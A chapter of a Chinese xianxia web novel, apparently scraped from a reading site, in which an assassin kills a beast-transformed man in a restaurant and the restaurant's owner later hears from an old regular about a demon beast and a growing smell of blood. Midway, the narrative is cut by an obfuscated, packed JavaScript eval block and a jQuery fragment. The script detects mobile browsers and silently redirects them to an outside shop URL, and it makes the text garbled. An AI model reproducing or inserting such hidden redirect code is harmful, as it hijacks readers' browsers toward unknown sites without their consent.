“如何?考虑清楚了吗?”绯千哒哒敲着桌子,将佩刀放到桌上,手上的玉昆刀还未出鞘,心中的却已经出鞘了。
左临看着绯千,忽然变得十分悲哀,是为了自己,也是为了绯千。
仿佛已经从这张漂亮的脸蛋上看到了她的结局。
左临是被迫加入黑龙会的,因为他爹娘是黑龙会的成员,自然,他出生后也成为了黑龙会的一员,颇有点家生子继承奴籍的意思。
他亲眼看着爹娘近乎癫狂地为了黑龙会卖命,最后又糊里糊涂死掉。
那是一盆熊熊燃烧的火,而他们是柴火。
火焰终将熄灭,而在风起的时候,最先被吹散的就是灰烬。
默默无闻的诞生又默默无闻的死去,貌似就是他的一生——但是,他不愿意啊!
哪怕是一粒尘埃,划过火舌的时候也会发光!
左临猛得暴起,咬碎最后一颗秘药。
苦涩的药顺着舌根流下,左临觉得那流下去的不是药,而是一股强大的力量,这力量从里面撕开他,他痛苦地大叫起来。
灵根被无限激发,邪紫色的气息在丹田处涌流翻滚。
密密麻麻的铁甲暴起,左临的脸开始扭曲,左右的嘴裂开到耳根,满口钢牙。
绯千不动如山,仿佛面对的不是一只人型怪物,而是一只小猫小狗。对她来说,妖兽化的左临的确就是小猫小狗,这种秘药叫做曼陀丹,本质上是使用妖兽炼制的金丹。
所谓加强效果,无非是妖气入体。
当时老大研究这种东西的时候不知道失败了多少次,几乎每次都是她去收拾首尾的,那些失败品可比左临可怕得多了。
“好吧好吧,你不说我也不能把你吊起来打。”绯千带上帷帽,黑色垂纱笼罩着她,她抽出昆玉刀,“不过这里是吃饭的地方,咱们尽量安静些,不要倒大家的胃口,也别太麻烦掌柜的。”
左临已经完成了兽化,意识为杀戮本能所取代。他已经不能算是一个人了,在最后的关头,他用自己的灵魂和恶鬼交换,只为成为另一个恶鬼,只有恶鬼才能撕咬恶鬼。
他猛得暴起,浑身的肌肉剧烈放缩,如同一枚蓄满力的箭矢,带着一击必杀的决意。
他从绯千的正上方扑过来,而绯千的刀尖还指着地面。
如此短的距离根本不足以挥刀抵挡,左临这一击可以轻而易举咬住绯千的脖子,将她撕碎。
千钧一发之际,左临浑身僵硬了。
刀尖从他的后脑勺贯出,泛着寒光,绯千目光不屑,从下往上捅穿了左临的下巴,血飞溅上天花板。
左临的气管被切断了,他只能发出呼哧呼哧的声响。
绯千转手换刀,昆玉带着血从锁骨处捅入心脏,左临的身体顿时软了。
剑锋刺穿了他的心脏,血喷涌而出灌满整个胸腔。
这是牧民惯常的杀羊手法,用细长的钢钎从羊前胸上一点的地方捅进去,瞬间就可使羊毙命而不会血流满地,因为那血都被锁在了胸膛之中。
不过天花板上那一点血可就没有办法了,谁让猎物会挣扎呢?
狂暴之后的力量随着血液的流逝一点点消失,左临青灰的瞳孔有一瞬间的清明,他的神志短暂地恢复了一下。
他知道这个叫做回光返照,他有些惊讶,在倒下去的瞬间竟然看清了东西。
但是他很快意识到这不是看见,是想到。
他的眼睛在第一刀的时候就已经被捅坏了,他所见到的那只剩火星的篝火,不过是记忆中的东西。
十三年前的冬天,和爹娘在旅寨下船过夜。南方的冬天不下雪,烤红薯很好吃,他再也没有吃过那么好吃的烤红薯了。
绯千撑开左临眼皮,看着他的瞳孔缓缓散去,最后变成一滩死水。
小方桌三步范围内有结界,外人看来,这里无非是一男一女两人对坐畅饮,相谈甚欢,谁也想不到这里已经躺着一具尸体了。
“下辈子投个好胎吧。”
绯千收回昆玉,转身离去。
池棠捧着碟子与绯千插肩而过,不由得多看了两眼。
竟然穿的是高开叉?莫非她也是穿书人?
不过这女孩好像是和一个年轻人坐在一块儿的,想到这里池棠抬头看去,只见那个位置上只剩下一个人在黯然神伤地吃饭了。
几乎是立刻,池棠脑补了一出狗血爱情大戏。
看起来那位兄弟心情不是很好,还是不要打扰他了。
池棠的饭庄开了三个月,从开始的只有几张桌椅板凳到现在初具规模,她十分满意。
裴方翎在学宫也很顺利,毫不意外地得到了乐海的青眼,三天两头陪着夫子们到周围捉捉小妖什么的。
照这个进度,飞黄腾达出人头地指日可待啦!
池棠一左一右捧着两碟菜,在人群里健步如飞,现在她已经完全可以做到单手上菜不撒不漏了,不过就这么自己一个人干实在是累得不得了,等之后稍微空闲了一些,她还得另外找几个跑堂的。
她走上二楼,靠窗那位置坐着郭老太,这老太太十分空闲,一到晚上就来店里坐着,点两个菜下酒。
郭老太仰头喝酒:“最近有大事要发生了。”
池棠左右看看,发现周围没有别人,指着自己问:“您是在和我说话吗?”
“那是个大东西。”
“什么大东西?”
“坑里。”郭老太点头。
“啊?什么坑?什么东西?”
不知道是不是因为池棠问这两句话的语气听起来特别蠢,郭老太忍不住抬头:“你什么都不知道?你那个弟弟竟然没有跟你说过。城外的大坑里有一头妖兽。”
妖兽?这怎么可能,要是哪里有妖兽,道盟早跑得比谁都快了。
再说了青山城周围称得上是一马平川,妖怪得多想不开才挑这么个地方当家。
“你说你一天天的,除了这些灶台上的生意能不能多关心一下别的?等那一天妖怪打进来了,你指望这些锅碗瓢盆护着你?”
“嘿,您别说,把那个锅往头上一盖,指不定不比什么保身符差呢?别说我了,最近骗人的不少,您可别是上了那种当。”
“呸,我能上什么当?这都是那姓雪的告诉我的。她成日里地在那坑底里,说的还能有错?”
“老太太,人家明明姓慕好不好,你怎么老是记错?我管你叫享太太您愿意吗?”
慕雪扬
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17787099|209356||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
从她这里离开之后没有住到学宫去,反而是呆在了郭老太的家里,也不知道这两人是怎么看对眼的。
郭老太这么一个刁钻古怪的老婆婆,竟然能容许慕雪扬在她院子里搭草房!
慕雪扬这么爱干净的一个人,居然也能忍郭老太往院子里塞废品!
两个萍水相逢的人硬是弄出来了点金风玉露的感觉。
就是郭老太老是记不住人家的名字,虽然慕雪扬是肤白貌美冰肌雪肤,但人家姓慕不姓雪啊。
郭老太耸耸肩:“我无所谓啊,名字无非是代号,你要叫我爷爷奶奶,爸爸妈妈什么的都没有问题啊。话说回来,你到底知道不知道坑里的那回事。”
郭老太说的是城外的肥遗,这件事池棠略知一二,因为裴方翎只说过外面埋着一只妖兽,至于有多大,长什么样子,她完全没有概念。
特别是已经过去了三个月没有一丝风吹草动,池棠觉得对于她来说,有没有肥遗的概念都无所谓。
就算是真发生了什么,也不能指望着她这种手无缚鸡之力的平民做什么吧。
她能在妖怪从天而降的时候顺利开溜不给人添乱就已经是阿弥陀佛万事大吉了。
郭老太一眼看穿池棠:“我劝你可别抱着那种反正打起来我就躲的心思,你见山崩的时候谁走得掉吗?”
这句话可真有一丝雪崩是没有一片雪花是无辜的神韵。
但是还有一句话不是那么说的么,小震不用跑,大震跑不掉。
要真是山崩了,恐怕是发生了一些什么人力不能企及的事情。
既然这样的话,她忧心忡忡不也没什么意义吗?
“老太太,您今天忽然说起这些事情,就像你真看到了什么东西似的。”
“用不着看。”郭老太抬起手指,“你闭上眼睛一闻就闻到了。”
池棠用力吸鼻子:“闻——没闻到。”
“闭上眼睛仔细闻。”郭老太煞有介事,“城里的血腥味是一日重过一日,我那屋子正好是下风口,一到夜里的时候臭不可闻,不然我成日跑你这小破店里坐着做甚么?”
池棠愤愤起来。什么叫做小破店啊!这里的一砖一瓦分明都倾注了她的心血好不好啊!你可以骂她这个人是破人烂人,但是不可以骂她的店是烂店!就算是房东也不——
有些话好像要脱口而出,这时候池棠忽然想起打着灯笼都找不到的,一个月三百文的房租——
好像,也不是不可以说哈......
她揉揉鼻子,决定虚心地接受老人家的教导。当年孔老夫子尚且说后生可畏,圣人如斯,圣人如斯。
“原来是这样啊,既然我这里好,那您没事就多来坐坐。”
“来不成了。头两天你这地儿还没什么问题,今儿不知道怎么回事,底下一股血腥味,比我那儿闻着还要明显。”
“不可能吧?我厨房只许现杀鱼,要说有味道,那也是腥味重过血味,何况我们时时清洗呢。”
“不,不,”郭老太缓缓站起身,影子拖长了打在影壁上,莫名让人心里毛毛的,“不是鱼血的气味,是别的。”
话音刚落,一楼忽然爆发出一阵阵尖叫。
“人!杀人了!”